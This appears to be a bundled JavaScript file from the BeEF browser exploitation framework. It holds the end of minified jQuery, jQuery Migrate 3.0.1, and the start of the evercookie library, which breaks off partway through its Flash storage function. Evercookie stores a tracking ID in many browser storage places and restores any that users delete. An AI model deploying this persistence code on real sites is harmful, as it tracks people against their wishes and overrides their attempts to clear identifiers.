E},getJSON:function(e,t,n){return w.get(e,t,n,"json")},getScript:function(e,t){return w.get(e,void 0,t,"script")}}),w.each(["get","post"],function(e,t){w[t]=function(e,n,r,i){return g(n)&&(i=i||r,r=n,n=void 0),w.ajax(w.extend({url:e,type:t,dataType:i,data:n,success:r},w.isPlainObject(e)&&e))}}),w._evalUrl=function(e){return w.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},w.fn.extend({wrapAll:function(e){var t;return this[0]&&(g(e)&&(e=e.call(this[0])),t=w(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(e){return g(e)?this.each(function(t){w(this).wrapInner(e.call(this,t))}):this.each(function(){var t=w(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=g(e);return this.each(function(n){w(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(e){return this.parent(e).not("body").each(function(){w(this).replaceWith(this.childNodes)}),this}}),w.expr.pseudos.hidden=function(e){return!w.expr.pseudos.visible(e)},w.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},w.ajaxSettings.xhr=function(){try{return new e.XMLHttpRequest}catch(e){}};var Vt={0:200,1223:204},Gt=w.ajaxSettings.xhr();h.cors=!!Gt&&"withCredentials"in Gt,h.ajax=Gt=!!Gt,w.ajaxTransport(function(t){var n,r;if(h.cors||Gt&&!t.crossDomain)return{send:function(i,o){var a,s=t.xhr();if(s.open(t.type,t.url,t.async,t.username,t.password),t.xhrFields)for(a in t.xhrFields)s[a]=t.xhrFields[a];t.mimeType&&s.overrideMimeType&&s.overrideMimeType(t.mimeType),t.crossDomain||i["X-Requested-With"]||(i["X-Requested-With"]="XMLHttpRequest");for(a in i)s.setRequestHeader(a,i[a]);n=function(e){return function(){n&&(n=r=s.onload=s.onerror=s.onabort=s.ontimeout=s.onreadystatechange=null,"abort"===e?s.abort():"error"===e?"number"!=typeof s.status?o(0,"error"):o(s.status,s.statusText):o(Vt[s.status]||s.status,s.statusText,"text"!==(s.responseType||"text")||"string"!=typeof s.responseText?{binary:s.response}:{text:s.responseText},s.getAllResponseHeaders()))}},s.onload=n(),r=s.onerror=s.ontimeout=n("error"),void 0!==s.onabort?s.onabort=r:s.onreadystatechange=function(){4===s.readyState&&e.setTimeout(function(){n&&r()})},n=n("abort");try{s.send(t.hasContent&&t.data||null)}catch(e){if(n)throw e}},abort:function(){n&&n()}}}),w.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),w.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return w.globalEval(e),e}}}),w.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET")}),w.ajaxTransport("script",function(e){if(e.crossDomain){var t,n;return{send:function(i,o){t=w("<script>").prop({charset:e.scriptCharset,src:e.url}).on("load error",n=function(e){t.remove(),n=null,e&&o("error"===e.type?404:200,e.type)}),r.head.appendChild(t[0])},abort:function(){n&&n()}}}});var Yt=[],Qt=/(=)\?(?=&|$)|\?\?/;w.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Yt.pop()||w.expando+"_"+Et++;return this[e]=!0,e}}),w.ajaxPrefilter("json jsonp",function(t,n,r){var i,o,a,s=!1!==t.jsonp&&(Qt.test(t.url)?"url":"string"==typeof t.data&&0===(t.contentType||"").indexOf("application/x-www-form-urlencoded")&&Qt.test(t.data)&&"data");if(s||"jsonp"===t.dataTypes[0])return i=t.jsonpCallback=g(t.jsonpCallback)?t.jsonpCallback():t.jsonpCallback,s?t[s]=t[s].replace(Qt,"$1"+i):!1!==t.jsonp&&(t.url+=(kt.test(t.url)?"&":"?")+t.jsonp+"="+i),t.converters["script json"]=function(){return a||w.error(i+" was not called"),a[0]},t.dataTypes[0]="json",o=e[i],e[i]=function(){a=arguments},r.always(function(){void 0===o?w(e).removeProp(i):e[i]=o,t[i]&&(t.jsonpCallback=n.jsonpCallback,Yt.push(i)),a&&g(o)&&o(a[0]),a=o=void 0}),"script"}),h.createHTMLDocument=function(){var e=r.implementation.createHTMLDocument("").body;return e.innerHTML="<form></form><form></form>",2===e.childNodes.length}(),w.parseHTML=function(e,t,n){if("string"!=typeof e)return[];"boolean"==typeof t&&(n=t,t=!1);var i,o,a;return t||(h.createHTMLDocument?((i=(t=r.implementation.createHTMLDocument("")).createElement("base")).href=r.location.href,t.head.appendChild(i)):t=r),o=A.exec(e),a=!n&&[],o?[t.createElement(o[1])]:(o=xe([e],t,a),a&&a.length&&w(a).remove(),w.merge([],o.childNodes))},w.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return s>-1&&(r=vt(e.slice(s)),e=e.slice(0,s)),g(t)?(n=t,t=void 0):t&&"object"==typeof t&&(i="POST"),a.length>0&&w.ajax({url:e,type:i||"GET",dataType:"html",data:t}).done(function(e){o=arguments,a.html(r?w("<div>").append(w.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},w.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){w.fn[t]=function(e){return this.on(t,e)}}),w.expr.pseudos.animated=function(e){return w.grep(w.timers,function(t){return e===t.elem}).length},w.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l,c=w.css(e,"position"),f=w(e),p={};"static"===c&&(e.style.position="relative"),s=f.offset(),o=w.css(e,"top"),u=w.css(e,"left"),(l=("absolute"===c||"fixed"===c)&&(o+u).indexOf("auto")>-1)?(a=(r=f.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),g(t)&&(t=t.call(e,n,w.extend({},s))),null!=t.top&&(p.top=t.top-s.top+a),null!=t.left&&(p.left=t.left-s.left+i),"using"in t?t.using.call(e,p):f.css(p)}},w.fn.extend({offset:function(e){if(arguments.length)return void 0===e?this:this.each(function(t){w.offset.setOffset(this,e,t)});var t,n,r=this[0];if(r)return r.getClientRects().length?(t=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:t.top+n.pageYOffset,left:t.left+n.pageXOffset}):{top:0,left:0}},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===w.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===w.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=w(e).offset()).top+=w.css(e,"borderTopWidth",!0),i.left+=w.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-w.css(r,"marginTop",!0),left:t.left-i.left-w.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===w.css(e,"position"))e=e.offsetParent;return e||be})}}),w.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,t){var n="pageYOffset"===t;w.fn[e]=function(r){return z(this,function(e,r,i){var o;if(y(e)?o=e:9===e.nodeType&&(o=e.defaultView),void 0===i)return o?o[t]:e[r];o?o.scrollTo(n?o.pageXOffset:i,n?i:o.pageYOffset):e[r]=i},e,r,arguments.length)}}),w.each(["top","left"],function(e,t){w.cssHooks[t]=_e(h.pixelPosition,function(e,n){if(n)return n=Fe(e,t),We.test(n)?w(e).position()[t]+"px":n})}),w.each({Height:"height",Width:"width"},function(e,t){w.each({padding:"inner"+e,content:t,"":"outer"+e},function(n,r){w.fn[r]=function(i,o){var a=arguments.length&&(n||"boolean"!=typeof i),s=n||(!0===i||!0===o?"margin":"border");return z(this,function(t,n,i){var o;return y(t)?0===r.indexOf("outer")?t["inner"+e]:t.document.documentElement["client"+e]:9===t.nodeType?(o=t.documentElement,Math.max(t.body["scroll"+e],o["scroll"+e],t.body["offset"+e],o["offset"+e],o["client"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),w.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},"function"==typeof define&&define.amd&&define("jquery",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});
3
4
5/*! jQuery Migrate v3.0.1 | (c) jQuery Foundation and other contributors | jquery.org/license */
6
7void 0 === jQuery.migrateMute && (jQuery.migrateMute = !0), function(e) {
8 "function" == typeof define && define.amd ? define([ "jquery" ], window, e) : "object" == typeof module && module.exports ? module.exports = e(require("jquery"), window) : e(jQuery, window);
9}(function(e, t) {
10 "use strict";
11 function r(r) {
12 var n = t.console;
13 o[r] || (o[r] = !0, e.migrateWarnings.push(r), n && n.warn && !e.migrateMute && (n.warn("JQMIGRATE: " + r),
14 e.migrateTrace && n.trace && n.trace()));
15 }
16 function n(e, t, n, a) {
17 Object.defineProperty(e, t, {
18 configurable: !0,
19 enumerable: !0,
20 get: function() {
21 return r(a), n;
22 },
23 set: function(e) {
24 r(a), n = e;
25 }
26 });
27 }
28 function a(e, t, n, a) {
29 e[t] = function() {
30 return r(a), n.apply(this, arguments);
31 };
32 }
33 e.migrateVersion = "3.0.1", function() {
34 var r = /^[12]\./;
35 t.console && t.console.log && (e && !r.test(e.fn.jquery) || t.console.log("JQMIGRATE: jQuery 3.0.0+ REQUIRED"),
36 e.migrateWarnings && t.console.log("JQMIGRATE: Migrate plugin loaded multiple times"),
37 t.console.log("JQMIGRATE: Migrate is installed" + (e.migrateMute ? "" : " with logging active") + ", version " + e.migrateVersion));
38 }();
39 var o = {};
40 e.migrateWarnings = [], void 0 === e.migrateTrace && (e.migrateTrace = !0), e.migrateReset = function() {
41 o = {}, e.migrateWarnings.length = 0;
42 }, "BackCompat" === t.document.compatMode && r("jQuery is not compatible with Quirks Mode");
43 var i = e.fn.init, s = e.isNumeric, u = e.find, c = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/, l = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/g;
44 e.fn.init = function(e) {
45 var t = Array.prototype.slice.call(arguments);
46 return "string" == typeof e && "#" === e && (r("jQuery( '#' ) is not a valid selector"),
47 t[0] = []), i.apply(this, t);
48 }, e.fn.init.prototype = e.fn, e.find = function(e) {
49 var n = Array.prototype.slice.call(arguments);
50 if ("string" == typeof e && c.test(e)) try {
51 t.document.querySelector(e);
52 } catch (a) {
53 e = e.replace(l, function(e, t, r, n) {
54 return "[" + t + r + '"' + n + '"]';
55 });
56 try {
57 t.document.querySelector(e), r("Attribute selector with '#' must be quoted: " + n[0]),
58 n[0] = e;
59 } catch (e) {
60 r("Attribute selector with '#' was not fixed: " + n[0]);
61 }
62 }
63 return u.apply(this, n);
64 };
65 var d;
66 for (d in u) Object.prototype.hasOwnProperty.call(u, d) && (e.find[d] = u[d]);
67 e.fn.size = function() {
68 return r("jQuery.fn.size() is deprecated and removed; use the .length property"),
69 this.length;
70 }, e.parseJSON = function() {
71 return r("jQuery.parseJSON is deprecated; use JSON.parse"), JSON.parse.apply(null, arguments);
72 }, e.isNumeric = function(t) {
73 var n = s(t), a = function(t) {
74 var r = t && t.toString();
75 return !e.isArray(t) && r - parseFloat(r) + 1 >= 0;
76 }(t);
77 return n !== a && r("jQuery.isNumeric() should not be called on constructed objects"),
78 a;
79 }, a(e, "holdReady", e.holdReady, "jQuery.holdReady is deprecated"), a(e, "unique", e.uniqueSort, "jQuery.unique is deprecated; use jQuery.uniqueSort"),
80 n(e.expr, "filters", e.expr.pseudos, "jQuery.expr.filters is deprecated; use jQuery.expr.pseudos"),
81 n(e.expr, ":", e.expr.pseudos, "jQuery.expr[':'] is deprecated; use jQuery.expr.pseudos");
82 var p = e.ajax;
83 e.ajax = function() {
84 var e = p.apply(this, arguments);
85 return e.promise && (a(e, "success", e.done, "jQXHR.success is deprecated and removed"),
86 a(e, "error", e.fail, "jQXHR.error is deprecated and removed"), a(e, "complete", e.always, "jQXHR.complete is deprecated and removed")),
87 e;
88 };
89 var f = e.fn.removeAttr, y = e.fn.toggleClass, m = /\S+/g;
90 e.fn.removeAttr = function(t) {
91 var n = this;
92 return e.each(t.match(m), function(t, a) {
93 e.expr.match.bool.test(a) && (r("jQuery.fn.removeAttr no longer sets boolean properties: " + a),
94 n.prop(a, !1));
95 }), f.apply(this, arguments);
96 }, e.fn.toggleClass = function(t) {
97 return void 0 !== t && "boolean" != typeof t ? y.apply(this, arguments) : (r("jQuery.fn.toggleClass( boolean ) is deprecated"),
98 this.each(function() {
99 var r = this.getAttribute && this.getAttribute("class") || "";
100 r && e.data(this, "__className__", r), this.setAttribute && this.setAttribute("class", r || !1 === t ? "" : e.data(this, "__className__") || "");
101 }));
102 };
103 var h = !1;
104 e.swap && e.each([ "height", "width", "reliableMarginRight" ], function(t, r) {
105 var n = e.cssHooks[r] && e.cssHooks[r].get;
106 n && (e.cssHooks[r].get = function() {
107 var e;
108 return h = !0, e = n.apply(this, arguments), h = !1, e;
109 });
110 }), e.swap = function(e, t, n, a) {
111 var o, i, s = {};
112 h || r("jQuery.swap() is undocumented and deprecated");
113 for (i in t) s[i] = e.style[i], e.style[i] = t[i];
114 o = n.apply(e, a || []);
115 for (i in t) e.style[i] = s[i];
116 return o;
117 };
118 var g = e.data;
119 e.data = function(t, n, a) {
120 var o;
121 if (n && "object" == typeof n && 2 === arguments.length) {
122 o = e.hasData(t) && g.call(this, t);
123 var i = {};
124 for (var s in n) s !== e.camelCase(s) ? (r("jQuery.data() always sets/gets camelCased names: " + s),
125 o[s] = n[s]) : i[s] = n[s];
126 return g.call(this, t, i), n;
127 }
128 return n && "string" == typeof n && n !== e.camelCase(n) && (o = e.hasData(t) && g.call(this, t)) && n in o ? (r("jQuery.data() always sets/gets camelCased names: " + n),
129 arguments.length > 2 && (o[n] = a), o[n]) : g.apply(this, arguments);
130 };
131 var v = e.Tween.prototype.run, j = function(e) {
132 return e;
133 };
134 e.Tween.prototype.run = function() {
135 e.easing[this.easing].length > 1 && (r("'jQuery.easing." + this.easing.toString() + "' should use only one argument"),
136 e.easing[this.easing] = j), v.apply(this, arguments);
137 }, e.fx.interval = e.fx.interval || 13, t.requestAnimationFrame && n(e.fx, "interval", e.fx.interval, "jQuery.fx.interval is deprecated");
138 var Q = e.fn.load, b = e.event.add, w = e.event.fix;
139 e.event.props = [], e.event.fixHooks = {}, n(e.event.props, "concat", e.event.props.concat, "jQuery.event.props.concat() is deprecated and removed"),
140 e.event.fix = function(t) {
141 var n, a = t.type, o = this.fixHooks[a], i = e.event.props;
142 if (i.length) for (r("jQuery.event.props are deprecated and removed: " + i.join()); i.length; ) e.event.addProp(i.pop());
143 if (o && !o._migrated_ && (o._migrated_ = !0, r("jQuery.event.fixHooks are deprecated and removed: " + a),
144 (i = o.props) && i.length)) for (;i.length; ) e.event.addProp(i.pop());
145 return n = w.call(this, t), o && o.filter ? o.filter(n, t) : n;
146 }, e.event.add = function(e, n) {
147 return e === t && "load" === n && "complete" === t.document.readyState && r("jQuery(window).on('load'...) called after load event occurred"),
148 b.apply(this, arguments);
149 }, e.each([ "load", "unload", "error" ], function(t, n) {
150 e.fn[n] = function() {
151 var e = Array.prototype.slice.call(arguments, 0);
152 return "load" === n && "string" == typeof e[0] ? Q.apply(this, e) : (r("jQuery.fn." + n + "() is deprecated"),
153 e.splice(0, 0, n), arguments.length ? this.on.apply(this, e) : (this.triggerHandler.apply(this, e),
154 this));
155 };
156 }), e.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "), function(t, n) {
157 e.fn[n] = function(e, t) {
158 return r("jQuery.fn." + n + "() event shorthand is deprecated"), arguments.length > 0 ? this.on(n, null, e, t) : this.trigger(n);
159 };
160 }), e(function() {
161 e(t.document).triggerHandler("ready");
162 }), e.event.special.ready = {
163 setup: function() {
164 this === t.document && r("'ready' event is deprecated");
165 }
166 }, e.fn.extend({
167 bind: function(e, t, n) {
168 return r("jQuery.fn.bind() is deprecated"), this.on(e, null, t, n);
169 },
170 unbind: function(e, t) {
171 return r("jQuery.fn.unbind() is deprecated"), this.off(e, null, t);
172 },
173 delegate: function(e, t, n, a) {
174 return r("jQuery.fn.delegate() is deprecated"), this.on(t, e, n, a);
175 },
176 undelegate: function(e, t, n) {
177 return r("jQuery.fn.undelegate() is deprecated"), 1 === arguments.length ? this.off(e, "**") : this.off(t, e || "**", n);
178 },
179 hover: function(e, t) {
180 return r("jQuery.fn.hover() is deprecated"), this.on("mouseenter", e).on("mouseleave", t || e);
181 }
182 });
183 var x = e.fn.offset;
184 e.fn.offset = function() {
185 var n, a = this[0], o = {
186 top: 0,
187 left: 0
188 };
189 return a && a.nodeType ? (n = (a.ownerDocument || t.document).documentElement, e.contains(n, a) ? x.apply(this, arguments) : (r("jQuery.fn.offset() requires an element connected to a document"),
190 o)) : (r("jQuery.fn.offset() requires a valid DOM element"), o);
191 };
192 var k = e.param;
193 e.param = function(t, n) {
194 var a = e.ajaxSettings && e.ajaxSettings.traditional;
195 return void 0 === n && a && (r("jQuery.param() no longer uses jQuery.ajaxSettings.traditional"),
196 n = a), k.call(this, t, n);
197 };
198 var A = e.fn.andSelf || e.fn.addBack;
199 e.fn.andSelf = function() {
200 return r("jQuery.fn.andSelf() is deprecated and removed, use jQuery.fn.addBack()"),
201 A.apply(this, arguments);
202 };
203 var S = e.Deferred, q = [ [ "resolve", "done", e.Callbacks("once memory"), e.Callbacks("once memory"), "resolved" ], [ "reject", "fail", e.Callbacks("once memory"), e.Callbacks("once memory"), "rejected" ], [ "notify", "progress", e.Callbacks("memory"), e.Callbacks("memory") ] ];
204 return e.Deferred = function(t) {
205 var n = S(), a = n.promise();
206 return n.pipe = a.pipe = function() {
207 var t = arguments;
208 return r("deferred.pipe() is deprecated"), e.Deferred(function(r) {
209 e.each(q, function(o, i) {
210 var s = e.isFunction(t[o]) && t[o];
211 n[i[1]](function() {
212 var t = s && s.apply(this, arguments);
213 t && e.isFunction(t.promise) ? t.promise().done(r.resolve).fail(r.reject).progress(r.notify) : r[i[0] + "With"](this === a ? r.promise() : this, s ? [ t ] : arguments);
214 });
215 }), t = null;
216 }).promise();
217 }, t && t.call(n, n), n;
218 }, e.Deferred.exceptionHook = S.exceptionHook, e;
219});
220
221
222//
223// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
224// Browser Exploitation Framework (BeEF) - http://beefproject.com
225// See the file 'doc/COPYING' for copying permission
226//
227
228/*
229 * evercookie 0.4 (10/13/2010) -- extremely persistent cookies
230 *
231 * by samy kamkar : code@samy.pl : http://samy.pl
232 *
233 * this api attempts to produce several types of persistent data
234 * to essentially make a cookie virtually irrevocable from a system
235 *
236 * specifically it uses:
237 * - standard http cookies
238 * - flash cookies (local shared objects)
239 * - silverlight isolated storage
240 * - png generation w/forced cache and html5 canvas pixel reading
241 * - http etags
242 * - http cache
243 * - window.name
244 * - IE userData
245 * - html5 session cookies
246 * - html5 local storage
247 * - html5 global storage
248 * - html5 database storage via sqlite
249 * - css history scanning
250 *
251 * if any cookie is found, it's then reset to all the other locations
252 * for example, if someone deletes all but one type of cookie, once
253 * that cookie is re-discovered, all of the other cookie types get reset
254 *
255 * !!! SOME OF THESE ARE CROSS-DOMAIN COOKIES, THIS MEANS
256 * OTHER SITES WILL BE ABLE TO READ SOME OF THESE COOKIES !!!
257 *
258 * USAGE:
259
260 var ec = new evercookie();
261
262 // set a cookie "id" to "12345"
263 // usage: ec.set(key, value)
264 ec.set("id", "12345");
265
266 // retrieve a cookie called "id" (simply)
267 ec.get("id", function(value) { alert("Cookie value is " + value) });
268
269 // or use a more advanced callback function for getting our cookie
270 // the cookie value is the first param
271 // an object containing the different storage methods
272 // and returned cookie values is the second parameter
273 function getCookie(best_candidate, all_candidates)
274 {
275 alert("The retrieved cookie is: " + best_candidate + "\n" +
276 "You can see what each storage mechanism returned " +
277 "by looping through the all_candidates object.");
278
279 for (var item in all_candidates)
280 document.write("Storage mechanism " + item +
281 " returned " + all_candidates[item] + " votes<br>");
282 }
283 ec.get("id", getCookie);
284
285 // we look for "candidates" based off the number of "cookies" that
286 // come back matching since it's possible for mismatching cookies.
287 // the best candidate is very-very-likely the correct one
288
289*/
290
291/* to turn off CSS history knocking, set _ec_history to 0 */
292var _ec_history = 1; // CSS history knocking or not .. can be network intensive
293var _ec_tests = 10;//1000;
294var _ec_debug = 0;
295
296function _ec_dump(arr, level)
297{
298 var dumped_text = "";
299 if(!level) level = 0;
300
301 //The padding given at the beginning of the line.
302 var level_padding = "";
303 for(var j=0;j<level+1;j++) level_padding += " ";
304
305 if(typeof(arr) == 'object') { //Array/Hashes/Objects
306 for(var item in arr) {
307 var value = arr[item];
308
309 if(typeof(value) == 'object') { //If it is an array,
310 dumped_text += level_padding + "'" + item + "' ...\n";
311 dumped_text += _ec_dump(value,level+1);
312 } else {
313 dumped_text += level_padding + "'" + item + "' => \"" + value + "\"\n";
314 }
315 }
316 } else { //Stings/Chars/Numbers etc.
317 dumped_text = "===>"+arr+"<===("+typeof(arr)+")";
318 }
319 return dumped_text;
320}
321
322function _ec_replace(str, key, value)
323{
324 if (str.indexOf('&' + key + '=') > -1 || str.indexOf(key + '=') == 0)
325 {
326 // find start
327 var idx = str.indexOf('&' + key + '=');
328 if (idx == -1)
329 idx = str.indexOf(key + '=');
330
331 // find end
332 var end = str.indexOf('&', idx + 1);
333 var newstr;
334 if (end != -1)
335 newstr = str.substr(0, idx) + str.substr(end + (idx ? 0 : 1)) + '&' + key + '=' + value;
336 else
337 newstr = str.substr(0, idx) + '&' + key + '=' + value;
338
339 return newstr;
340 }
341 else
342 return str + '&' + key + '=' + value;
343}
344
345
346// necessary for flash to communicate with js...
347// please implement a better way
348var _global_lso;
349function _evercookie_flash_var(cookie)
350{
351 _global_lso = cookie;
352
353 // remove the flash object now
354 var swf = $('#myswf');
355 if (swf && swf.parentNode)
356 swf.parentNode.removeChild(swf);
357}
358
359var evercookie = (function () {
360this._class = function() {
361
362var self = this;
363// private property
364_baseKeyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
365this._ec = {};
366var no_color = -1;
367
368this.get = function(name, cb, dont_reset)
369{
370 $(document).ready(function() {
371 self._evercookie(name, cb, undefined, undefined, dont_reset);
372 });
373};
374
375this.set = function(name, value)
376{
377 $(document).ready(function() {
378 self._evercookie(name, function() { }, value);
379 });
380};
381
382this._evercookie = function(name, cb, value, i, dont_reset)
383{
384 if (typeof self._evercookie == 'undefined')
385 self = this;
386
387 if (typeof i == 'undefined')
388 i = 0;
389
390 // first run
391 if (i == 0)
392 {
393 self.evercookie_database_storage(name, value);
394 self.evercookie_png(name, value);
395 self.evercookie_etag(name, value);
396 self.evercookie_cache(name, value);
397 self.evercookie_lso(name, value);
398 self.evercookie_silverlight(name, value);
399
400 self._ec.userData = self.evercookie_userdata(name, value);
401 self._ec.cookieData = self.evercookie_cookie(name, value);
402 self._ec.localData = self.evercookie_local_storage(name, value);
403 self._ec.globalData = self.evercookie_global_storage(name, value);
404 self._ec.sessionData = self.evercookie_session_storage(name, value);
405 self._ec.windowData = self.evercookie_window(name, value);
406
407 if (_ec_history)
408 self._ec.historyData = self.evercookie_history(name, value);
409 }
410
411 // when writing data, we need to make sure lso and silverlight object is there
412 if (typeof value != 'undefined')
413 {
414 if (
415 (
416 (typeof _global_lso == 'undefined') ||
417 (typeof _global_isolated == 'undefined')
418 )
419 && i++ < _ec_tests
420 )
421 setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);
422 }
423
424 // when reading data, we need to wait for swf, db, silverlight and png
425 else
426 {
427 if (
428 (
429 // we support local db and haven't read data in yet
430 (window.openDatabase && typeof self._ec.dbData == 'undefined') ||
431 (typeof _global_lso == 'undefined') ||
432 (typeof self._ec.etagData == 'undefined') ||
433 (typeof self._ec.cacheData == 'undefined') ||
434 (document.createElement('canvas').getContext && (typeof self._ec.pngData == 'undefined' || self._ec.pngData == '')) ||
435 (typeof _global_isolated == 'undefined')
436 )
437 &&
438 i++ < _ec_tests
439 )
440 {
441 setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);
442 }
443
444 // we hit our max wait time or got all our data
445 else
446 {
447 // get just the piece of data we need from swf
448 self._ec.lsoData = self.getFromStr(name, _global_lso);
449 _global_lso = undefined;
450
451 // get just the piece of data we need from silverlight
452 self._ec.slData = self.getFromStr(name, _global_isolated);
453 _global_isolated = undefined;
454
455 var tmpec = self._ec;
456 self._ec = {};
457
458 // figure out which is the best candidate
459 var candidates = new Array();
460 var bestnum = 0;
461 var candidate;
462 for (var item in tmpec)
463 {
464 if (typeof tmpec[item] != 'undefined' && typeof tmpec[item] != 'null' && tmpec[item] != '' &&
465 tmpec[item] != 'null' && tmpec[item] != 'undefined' && tmpec[item] != null)
466 {
467 candidates[tmpec[item]] = typeof candidates[tmpec[item]] == 'undefined' ? 1 : candidates[tmpec[item]] + 1;
468 }
469 }
470
471 for (var item in candidates)
472 {
473 if (candidates[item] > bestnum)
474 {
475 bestnum = candidates[item];
476 candidate = item;
477 }
478 }
479
480 // reset cookie everywhere
481 if (typeof dont_reset == "undefined" || dont_reset != 1)
482 self.set(name, candidate);
483
484 if (typeof cb == 'function')
485 cb(candidate, tmpec);
486 }
487 }
488};
489
490this.evercookie_window = function(name, value)
491{
492 try {
493 if (typeof(value) != "undefined")
494 window.name = _ec_replace(window.name, name, value);
495 else
496 return this.getFromStr(name, window.name);
497 } catch(e) { }
498};
499
500this.evercookie_userdata = function(name, value)
501{
502 try {
503 var elm = this.createElem('div', 'userdata_el', 1);
504 elm.style.behavior = "url(#default#userData)";
505
506 if (typeof(value) != "undefined")
507 {
508 elm.setAttribute(name, value);
509 elm.save(name);
510 }
511 else
512 {
513 elm.load(name);
514 return elm.getAttribute(name);
515 }
516 } catch(e) { }
517};
518
519this.evercookie_cache = function(name, value)
520{
521 if (typeof(value) != "undefined")
522 {
523 // make sure we have evercookie session defined first
524 document.cookie = 'evercookie_cache=' + value;
525
526 // evercookie_cache.php handles caching
527 var img = new Image();
528 img.style.visibility = 'hidden';
529 img.style.position = 'absolute';
530 img.src = 'evercookie_cache.php?name=' + name;
531 }
532 else
533 {
534 // interestingly enough, we want to erase our evercookie
535 // http cookie so the php will force a cached response
536 var origvalue = this.getFromStr('evercookie_cache', document.cookie);
537 self._ec.cacheData = undefined;
538 document.cookie = 'evercookie_cache=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
539
540 $.ajax({
541 url: 'evercookie_cache.php?name=' + name,
542 success: function(data) {
543 // put our cookie back
544 document.cookie = 'evercookie_cache=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
545
546 self._ec.cacheData = data;
547 }
548 });
549 }
550};
551
552this.evercookie_etag = function(name, value)
553{
554 if (typeof(value) != "undefined")
555 {
556 // make sure we have evercookie session defined first
557 document.cookie = 'evercookie_etag=' + value;
558
559 // evercookie_etag.php handles etagging
560 var img = new Image();
561 img.style.visibility = 'hidden';
562 img.style.position = 'absolute';
563 img.src = 'evercookie_etag.php?name=' + name;
564 }
565 else
566 {
567 // interestingly enough, we want to erase our evercookie
568 // http cookie so the php will force a cached response
569 var origvalue = this.getFromStr('evercookie_etag', document.cookie);
570 self._ec.etagData = undefined;
571 document.cookie = 'evercookie_etag=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
572
573 $.ajax({
574 url: 'evercookie_etag.php?name=' + name,
575 success: function(data) {
576 // put our cookie back
577 document.cookie = 'evercookie_etag=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
578
579 self._ec.etagData = data;
580 }
581 });
582 }
583};
584
585this.evercookie_lso = function(name, value)
586{
587 var div = document.getElementById('swfcontainer');
588 if (!div)
589 {
590 div = document.createElement("div");
591 div.setAttribute('id', 'swfcontainer');
592 document.body.appendChild(div);
593 }
594
595 var flashvars = {};
596 if (typeof value != 'undefined')
597 flashvars.everdata = name + '=' + value;
598
599 var params = {};
600 params.swliveconnect = "true";
601 var attributes = {};
602 attributes.id = "myswf";
603 attributes.name = "myswf";
